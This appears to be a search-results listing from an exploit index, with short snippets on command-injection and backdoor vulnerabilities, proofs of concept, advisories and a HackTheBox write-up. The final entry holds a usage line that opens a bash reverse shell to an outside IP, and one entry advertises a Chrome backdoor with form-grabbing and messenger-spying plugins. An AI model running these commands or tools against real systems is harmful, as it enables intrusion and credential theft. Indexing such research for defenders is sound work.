186949 matches found
vsftpd-backdoor
Exploit for the vsftpd 2.3.4 Backdoor CVE-2011-2523 This exploit takes advantage of a backdoor in version 2.3.4 of the vsftpd FTP service. The backdoor was maliciously introduced into the source code and allows remote command execution as root on the affected server How it works The backdoor is...
CVE-2021-20038-SonicWall-RCE
SonicWallSSL-VPNRCE CVE-2021-20038 Command-line parameters -h View help -u Specify url -f Specify file Entries in the file must include the http/https prefix...
CVE-2021-29505
Reproduction Process In IDEA, import the xstream component's jar package. This reproduction uses the CommonsCollections6 chain for exploitation, so import the commons-collections component jar package. POC is detailed in the attachment. First, use ysoserial to start a malicious RMI server for...
CVE-2019-15588
CVE-2019-15588 CVE-2019-15588 Lab: RCE Command Injection Vulnerability Merged into https://github.com/lyy289065406/CVE-2019-5475...
Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
The command injection vulnerability in the CGI program "remotehelp-cgi" in Zyxel NAS326 firmware versions before V5.21AAZF.17C0 and NAS542 firmware versions before V5.21ABAG.14C0 could allow an unauthenticated attacker to execute some operating system OS commands by sending a crafted HTTP POST...
Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-42071 info: name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection author: gy741 severity: critical description: Visual...
YouPHPTube Encoder 2.3 - Remote Command Injection
YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php. id: CVE-2019-5127 info: name: YouPHPTube Encoder 2.3 ...
Hikvision IP camera/NVR - Remote Command Execution
Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. id: CVE-2021-36260 info: name: Hikvisio...
rConfig <= 3.9.4 - Authenticated OS Command Injection
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the...
CVE-2026-95675
CVE-2026-95675 β D-Link DAP-1360 RevB Unauthenticated remote root command execution CWE-78 β OS Command Injection in the formSystemCheck handler, reachable via a hardcoded authentication backdoor. Verified against DAP-1360 RevB, firmware 2.14B05. Root Cause Two independent issues chained: 1...
CVE-2010-2075
CVE-2010-2075 β UnrealIRCd 3.2.8.1 Backdoor Exploit Overview UnrealIRCd is an open-source IRC Internet Relay Chat server β a protocol that allows users to communicate in real-time over a network, similar to early chat platforms. In 2009β2010, it was discovered that UnrealIRCd 3.2.8.1 distributed...
CVE-2026-1961-foreman-poc
Foreman WebSocket Proxy Command Injection CVE-2026-1961 β PoC Proof-of-concept for a command injection vulnerability in Foreman's WebSocket proxy lib/wsproxy.rb, disclosed responsibly to Red Hat and patched. Summary Foreman's WebSocket proxy interpolates an unsanitized host value, sourced from a...
CVE-2026-73570
π΄ CVE-2026-73570 β high-severity unauthenticated RCE β οΈ Unauthenticated OS Command Injection β Remote Code Execution Zimbra Collaboration Suite Β· SNMP Notification Processing π§ Overview CVE-2026-73570 is a high-severity OS command injection vulnerability affecting specific configurations of Zimbra...
FORTIWEB_CVE-2025-64446-58034
FortiWeb Exploit Simulation CVE-2025-64446 & CVE-2025-58034 Note: This document is for educational and security research purposes only. Do not use to attack systems without authorization. 1. Overview FortiWeb is a Web Application Firewall WAF device used to protect web applications. In 2025, two...
HTB-TwoMillion-Writeup
HTB-TwoMillion-Writeup HackTheBox TwoMillion machine writeup β API abuse, command injection & CVE-2023-0386 HackTheBox β TwoMillion Writeup HackTheBox β TwoMillion Writeup Machine Info Field| Details ---|--- Name| TwoMillion Difficulty| Easy OS| Linux IP| 10.10.11.221 CVE| CVE-2023-0386 Summary...
CVE-2026-76060_ZoneMinder_CommandInjection-PoC
just wait and see Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality web/includes/downloadfunctions.php. Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg. An attacker who can...
chromebackdoor
Chrome browser backdoor VIDEO Install Text V 3.0 Install Video OLD Binder guide Module guide Form grabber plugins Facebook MessengerSpy plugins Jabber Notifier/ Hide Panel Windows infection Rubber Ducky Payload Require: pip install crxmake wine32 Let's go python chromebackdoor.py user: root pass:...
EUVD-2026-95328
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command...
EUVD-2026-95331
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...
CVE-2025-32433
CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...